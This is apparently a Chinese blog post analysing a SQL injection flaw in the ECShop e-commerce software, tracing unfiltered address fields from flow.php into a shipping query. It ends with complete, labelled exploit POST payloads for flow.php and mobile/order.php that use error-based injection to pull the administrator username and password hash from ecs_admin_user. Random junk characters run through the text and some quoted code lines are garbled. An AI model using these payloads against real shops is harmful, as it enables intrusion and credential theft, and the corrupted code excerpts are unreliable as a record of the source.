ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

1 J, N9 O( {6 p5 b/ W2 G    漏洞关键文件：
2 g6 i" E0 Y) t* u! y
! K/ `$ l/ g5 S/ c' x    /includes/lib_order.php
$ S. F" N$ P! s2 j) Z3 q' C
# h1 O# F/ q$ q    关键函数：

* ~" ~; x# m6 W& ~/ ?
3 _! k1 x) k: K* F' z3 q6 a6 m
5 K- ]6 k/ P9 A4 l0 U  [7 S$ U01     function available_shipping_list($region_id_list)

# t6 H; A1 W) V02 {

' S* T. b0 \1 N0 }03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
6 e; g5 ^) ^: z6 U2 Q2 S& U
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
; J6 I- O! ]" k' b3 _
6 f! s' v, O4 R3 h% D, l. N05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

6 R, d  ^  U% p7 V$ O: a* X8 m06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

) [2 w- L& w5 \9 w07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

4 L1 h1 v! y4 Y2 ?! w08             'WHERE r.region_id ' . db_create_in($region_id_list) .
$ _8 R" B- r4 j" A( t9 w
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
, z% E" u$ ^2 C9 Z5 \
10   

+ I6 Z$ I5 e& }3 }" d1 [. o8 Y11     return $GLOBALS['db']->getAll($sql);
: V8 L$ Y; E: n3 Q% n! G
' u: H+ l8 V5 [" X$ ~+ `4 p12 }

显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
: i, R: l1 m# @) Y& \8 Y 第531行：   
/ I3 I( Z4 H1 L' m0 c
; _4 k) |. |  g1 $shipping_list     = available_shipping_list($region);
( ?1 |( b) c) C6 f
) Q  Z  t+ b6 c' E2 _# P5 U- H
" G# b% w, h! U+ i2 k- o) H
. w7 _- J& {' M1 o- r

再对传入变量进行追踪：

" X/ L# s2 V# t8 J8 R. T第530行：   

& A! ]2 y9 k9 I0 u% U; N7 T) q: y1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

$ B/ X2 _2 f! j% T* w8 X
# d! Z# D5 s4 b" A' @

$ D% k, X% g$ y- C
第473行：        
# g( h/ v; t5 o" C2 a1 @# Z, p
0 F9 B. T( b" u1 H8 _- a- y1 $consignee = get_consignee($_SESSION['user_id']);

5 |$ ?$ K& ]) R% ]! x到了一个关键函数：

/includes/lib_order.php





01 function get_consignee($user_id)
0 A) Q% O) r7 }& t7 i( a
02 {
9 Z" f, [( z0 ?& C' r) P- P
6 i& S9 K3 v4 x4 m6 h( K" u03     if (isset($_SESSION['flow_consignee']))

04     {
: Z: E4 z# v; B4 }. ]$ p, Z8 `
# ]/ N" z5 n; Q8 D4 x; s1 f5 j05         /* 如果存在session，则直接返回session中的收货人信息 */
6 y7 w. h3 T  z; l3 j  C
9 u* c7 x( b) h06   

* C3 y  }; R7 L  f2 F07         return $_SESSION['flow_consignee'];

$ v6 r' s7 d7 }08     }
1 B. y5 M9 f& K1 H8 `7 D
09     else
$ n( C9 k" m" L4 h5 S/ P/ Z" Y) L
10     {
3 I% L, {3 U) a$ b5 c! V
4 c/ u( ^: p; l11         /* 如果不存在，则取得用户的默认收货人信息 */

12         $arr = array();

13   

% f. B$ D  h' ~14         if ($user_id > 0)

) e2 r7 n" o6 j15         {

16             /* 取默认地址 */

- _& d" n4 p0 i17             $sql = "SELECT ua.*".
7 @2 z. r3 i4 U- l1 ]! C
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
3 E( J: l3 J7 [
. L  |! t/ x, `  d* B! J1 g/ j8 s19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   

% v/ `* P/ Q9 o1 Z4 S21             $arr = $GLOBALS['db']->getRow($sql);
; R& o4 r" C" A& d
) o2 R: g3 a" d2 Z' E22         }

23   
! q4 Q% {+ s! Z
6 ~' o& e, S2 c; h; l24         return $arr;
3 Y" o2 h! X- ^# h. Z9 E- A$ I* p
25     }

8 A$ y4 l+ F; ]9 \2 t26 }
' H& J& l: |! n. V
+ F& U- O1 f  z/ Y3 o; F6 s9 ]* B' r5 W显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
2 p3 p) u- W6 ?& C/ J$ F+ T! Y

2 X% [8 J5 g" S5 n8 |. Q
4 V" @* d: a/ ?) ?" m4 p& [关键点:

% w) \5 O, B* ~第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
; F, S; r1 N: W3 |( H; E
这里对传入参数反转义存入$_SESSION中。
/ G/ p; Y3 g* C* X


. B5 E; X5 j5 Z4 J! C- P* ^然后看下：
% R  i' L( K& x) U& V, |' h

2 C' a% {. S. d
   
1 U; P4 l! ^2 T) V) r1 I9 v
01 $consignee = array(
  ?, p; A" D0 Y( y8 ~
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
+ p6 m1 P0 k% Y1 h
% v/ u; b4 k8 _3 `6 }8 a; N03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
3 u! X9 r' u0 I8 H2 p4 Y' |
. _3 }9 n% F. B, N) X  k8 A04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
8 [1 p- u7 z- Q) k
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
- @* j! p7 A/ {
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

" k2 V4 {+ v! K9 o8 q07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

+ x1 u; S+ R' F" o# M4 y08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

6 N1 h/ Q: R0 ~; \09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
7 g8 t( r5 x& |; c8 O
& S& a4 z: V1 U1 m. ^  Z11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
# R# _2 A/ Q" T
0 }* C! |' m: {" a' f. Z  u& V12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
  ?5 g3 A4 k) V: n! a6 @' {$ v" K
& N% {) A/ P5 m4 Q" L13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );

好了注入就这样出现了。
1 r, ?% g/ Z+ h3 [
==================

注入测试：
# K3 o' z* d' B* d: t4 ~
7 N" _7 b  m+ }5 t5 I* S& n5 {! }环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
+ ^2 o6 D: z1 J
测试程序：ECShop_V2.7.3_UTF8_release1106
( g! H: m( f$ V* J- c" A# b0 F


1.首先需要点击一个商品加入购物车
' B% X0 E2 F/ v2 {/ p  C3 \
. w/ _0 ~% i4 @0 e/ E2.注册一个会员帐号
% b2 k) Q% y9 B* d
3.post提交数据
3 h9 |" p: d1 L+ t+ ~' Y


1 http://127.0.0.1/ecshop/flow.php
6 A5 i$ X3 G% g8 m
8 L/ q; _1 s1 \; ]$ U5 w1 q2   
; w$ A: a- \2 A6 T
# D) j/ l2 T' x3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
0 R- C( |8 ]; b" x5 x举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()

. h) i. D; F1 P$ I, l+ I4 O在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

利用exp:
0 T! Z( C7 [# `+ f
# K$ V1 q, S6 V- M: F! A1.点击一个商品，点击购买商标

2.登录会员帐号
) [$ j# P9 d- E' V
3.post提交：
5 o7 o( I5 A& i! [
3 O& a0 x" B! W* O. N3 Ihttp://127.0.0.1/ecshop/mobile/order.php

" Y% ~4 ]8 E1 G* S$ q! S0 ]4 q
5 Y3 H3 G$ V7 u8 k6 ~$ R  z) o7 U
% n* n7 n6 J/ Y' x. M  V3 jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=